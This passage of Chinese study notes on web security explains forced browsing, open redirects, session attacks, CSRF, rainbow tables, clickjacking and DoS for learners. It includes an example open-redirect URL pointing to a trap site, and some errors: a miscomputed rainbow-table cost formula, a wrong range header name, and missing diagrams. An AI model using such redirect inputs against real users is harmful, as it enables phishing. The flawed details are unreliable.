下面我们以会员制度的 SNS 日记功能为例，讲解强制浏览可能导致的安全漏洞。该日记功能保证了除具有访问权限的用户本人以外，其他人都不能访问日记。

该日记中包含的图像照片的源代码如下所示。

<img src="http://example.com/img/tRNqSUBdG7Da.jpg">

即使没有对这篇日记的访问权限，只要知道这图片的 URL，通过直接指定 URL 的方式就能显示该图片。日记的功能和文本具有访问对象的控制，但不具备对图片访问对象的控制，从而产生了安全漏洞。

11.3.2 不正确的错误消息处理

不正确的错误消息处理（Error Handling Vulerability）：指Web应用的错误信息内包含对攻击者有用 的信息。

不正确的错误消息处理导致安全漏洞的案例

11.3.3 开放重定向

开放重定向（Open Redirect）：是一种对指定的任意URL作重定向跳转的功能。而于此功能相关联的安全漏洞是指， 假如指定的重定向 URL 到某个具有恶意的 Web 网站，那么用户就会被诱导至那个 Web 网站。

开放重定向的攻击案例

该功能就是向 URL 指定参数后，使本来的 URL 发生重定向跳转。

http://example.com/?redirect=http://www.tricorder.jp

攻击者把重定向指定的参数改写成已设好陷阱的 Web 网站对应的连接，如下所示。

http://example.com/?redirect=http://hackr.jp

用户看到 URL 后原以为访问 example.com，不料实际上被诱导至hackr.jp 这个指定的重定向目标。

11.4 因会话管理疏忽引发的安全漏洞

11.4.1 会话劫持

会话劫持（Session Hijiack）是指攻击者通过某种手段拿到了用户的会话 ID，并非法使用此会话 ID 伪装成用户，达到攻击的目的。

11.4.2 会话固定攻击

会话固定攻击（Session Fixation）：对以窃取目标会话ID为主动攻击手段的会话劫持而言，会强制用户使用攻击者指定的会话 ID，属于被动攻击。

• 跨站点请求伪造（Cross-Site Request Forgeries, CSRF）：是指攻击者通过设置好陷阱，强制对已完成认证的用户进行非预期的个人信息或设定等某些状态更新，属于被动攻击。
  

11.5 其它安全漏洞

11.5.1 密码破解

密码破解：①通过网络进行密码试错（穷举法和字典攻击）；②对已加密密码的破解（通过穷举法·字典攻击进行类推、彩虹表、拿到加密时使用的密钥、加密算法的漏洞）

穷举法

时间成本太高

字典攻击

提前构建一个 “明文 ⇨ 密文” 对应关系的一个大型数据库，破解时通过密文直接反查明文。但存储一个这样的数据库，空间成本是惊人的。

彩虹表

• 彩虹表的前身

既然存储所有的明文密码对需要的空间太大，密码学家们想出了一种以计算时间降低存储空间的办法，被称为 “预计算的哈希链集”。

假设这是一条 k = 2 的哈希链：

其中 H 函数 就是要破解的哈希函数。

约简函数（reduction function）R 函数 是构建这条链的时候定义的一个函数：它的值域和定义域与 H 函数相反。通过该函数可以将哈希值约简为一个与原文相同格式的值。

存储的时候，不需要存储所有的节点，只需要存储每条链的头尾节点（这里是 aaa 和ccc）。以大量的随机明文作为起节点，通过上述步骤计算出哈希链并将终节点进行储存，可得到一张哈希链集。

• 预计算的哈希链集的使用

假设密文刚好是 4D5E6F ，首先对其进行一次 R 运算，得到 ccc，然后发现刚好命中了哈希链集中的（aaa, ccc）链条。可以确定其极大概率在这个链条中。于是从 aaa 开始重复哈希链的计算过程，发现 bbb 的哈希结果刚好是 4D5E6F，于是破解成功。

如过密文重复了 k（=2）次之后，仍然没有在末节点中找到对应的值，则破解失败。

• 预计算的哈希链集的意义

对于一个长度为 k 的预计算的哈希链集，每次破解计算次数不超过 k，因此比暴力破解大大节约时间。同时每条链只保存起节点和末节点，储存空间只需约 1 / k，因而大大节约了空间。

• R 函数存在的问题

要发挥预计算的哈希链集的作用，需要一个分布均匀的 R 函数。当出现碰撞时，就会出现下面这种情况

• 彩虹表

彩虹表的出现，针对性的解决了 R 函数导致的链重复问题：它在各步的运算中，并不使用统一的 R 函数，而是分别使用 R1…Rk 一共 k 个不同的 R 函数。

这样一来，即使发生碰撞，通常会是下面的情况：

即使在极端情况下，两个链条在同一序列位置上发生碰撞，导致后续链条完全一致，这样的链条也会因为末节点相同而检测出来，可以丢弃其中一条而不浪费存储空间。

• 彩虹表的使用

首先，假设要破解的密文位于某一链条的 k - 1 位置处，对其进行 Rk 运算，看是否能够在末节点中找到对应的值。如果找到，则可以如前所述，使用起节点验证其正确性。

否则，继续假设密文位于 k - 2 位置处，这时就需要进行 Rk - 1、H、Rk 两步运算，然后在末节点中查找结果。

如此反复，在最不利条件下需要将密文进行完整的 R1、H、…Rk 运算后，才能得知密文是否存在于彩虹表之中。

• 彩虹表中时间、空间的平衡

哈希链集的最大计算次数为 k，平均计算次数为 k / 2；彩虹表的最大计算次数为 1 + 2 + …k = k(k - 1) / 2，平均计算次数为 [(k + 2) * (k + 1)] / 6。

可见，要解相同个数的明文，彩虹表的代价会高于哈希链集。

无论哈希链集还是彩虹表，当 k 越大时，破解时间就越长，但彩虹表所占用的空间就越小；相反，当 k 越小时，彩虹表本身就越大，相应的破解时间就越短。

• 为什么加盐哈希可以抵御彩虹表

彩虹表在生成的过程中，针对的是特定的 H 函数，H 函数如果发生了改变，则已有的彩虹表数据就完全无法使用。

如果每个用户都用一个不同的盐值，那么每个用户的 H 函数都不同，则必须要为每个用户都生成一个不同的彩虹表。大大提高了破解难度。

11.5.2 点击劫持

点击劫持是指利用透明的按钮或链接做成陷阱，覆盖在Web页面之上。然后诱使用户在不知情的情况下， 单击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装（UI Redressing）。

点击劫持的攻击案例

下面以 SNS 网站的注销功能为例，讲解点击劫持攻击。利用该注销功能，注册登录的 SNS 用户只需点击注销按钮，就可以从SNS 网站上注销自己的会员身份。

由于 SNS 网站作为透明层被覆盖，SNS 网站上处于登录状态的用户访问这个钓鱼网站并点击页面上的 PLAY 按钮之后，等同于点击了 SNS 网站的注销按钮。

11.5.3 DoS 攻击

Dos攻击（Denial of Service attack）是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。多台计算机发起的 Dos 攻击称为 DDoS 攻击（Distributed Denial of Service attach）。

主要有以下两种 DoS 攻击方式。

• 集中利用访问请求造成资源过载，资源用尽的同时，实际上服务也就呈停止状态。
• 通过攻击安全漏洞使服务停止。

11.5.4 后门程序

后门程序是指开发设置的隐藏入口（如开发阶段作为Debug调用的后门程序），可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限的功能。

Q&A：

1. URI与URL的区别
   答：URI 用字符串（包括地址）标识某一个互联网资源，而URL表示资源的地点。因此URL是URI的子集。

2. 输入URL后，浏览器发生哪些变化
   下图需要补充：在从DNS服务器获取IP后，进行3次握手。
   

3. GET与POST的区别

4. 301与302区别
   答：301是永久性重定向，搜索引擎在抓取新内容的同时也将旧的网址替换为重定向之后的网址。
   302是临时性重定向，搜索引擎会抓取新的内容而保留旧的网址。因为服务器返回302代码，搜索引擎认为新的网址只是暂时的。

5. 为什么连接建立需要三次握手，而不是两次握手？

   • 防止失效的连接请求报文段被服务端接收，从而产生错误。（主要原因）
   • 同步双方的初始序列号
   • 避免资源浪费

6. 为什么有时候下载高清大图时，图片会一块一块地加载。
   答：这就是因为设置了http请求的长度，这样就可以分块的加载资源文件。
   　　在请求报文中使用Range属性，在响应报文中使用Content-Type属性都可以指定一定字节范围的http请求。

参考：

1. 《图解HTTP》读书笔记
   链接： https://github.com/JChehe/blog/blob/master/posts/%E3%80%8A%E5%9B%BE%E8%A7%A3HTTP%E3%80%8B%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0.md
2. 《图解HTTP》